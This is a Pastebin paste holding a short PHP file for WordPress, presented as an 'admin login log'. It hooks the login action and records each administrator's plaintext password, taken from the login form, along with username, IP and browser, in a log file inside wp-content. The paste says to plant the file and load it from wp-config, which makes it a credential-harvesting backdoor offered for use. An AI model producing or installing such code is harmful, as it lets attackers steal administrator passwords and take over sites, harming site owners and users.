Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /**
- * WP Admin Log
- * place this file to wp-content/log-admin-login.php
- * place in bottom line of wp-config --> require_once WP_CONTENT_DIR . '/log-admin-login.php';
- * by @willygoid
- */
- add_action('wp_login', 'log_admin_login', 10, 2);
- function log_admin_login($user_login, $user) {
- if (!in_array('administrator', (array) $user->roles)) {
- return;
- }
- $password = isset($_POST['pwd']) ? $_POST['pwd'] : '-';
- $ip = get_client_ip();
- $time = current_time('Y-m-d H:i:s');
- $user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '-';
- $login_url = wp_login_url();
- $log = sprintf(
- "[%s] Username: %s | Name: %s | IP: %s | Browser: %s | Password: %s | Login URL: %s%s",
- $time,
- $user_login,
- $user->display_name,
- $ip,
- $user_agent,
- $password,
- $login_url,
- PHP_EOL
- );
- $log_file = WP_CONTENT_DIR . '/admin-login.log';
- file_put_contents($log_file, $log, FILE_APPEND | LOCK_EX);
- }
- function get_client_ip() {
- $keys = ['HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'REMOTE_ADDR'];
- foreach ($keys as $key) {
- if (!empty($_SERVER[$key])) {
- $ip = explode(',', $_SERVER[$key]);
- return trim($ip[0]);
- }
- }
- return 'UNKNOWN';
- }
Advertisement
Add Comment
Please, Sign In to add comment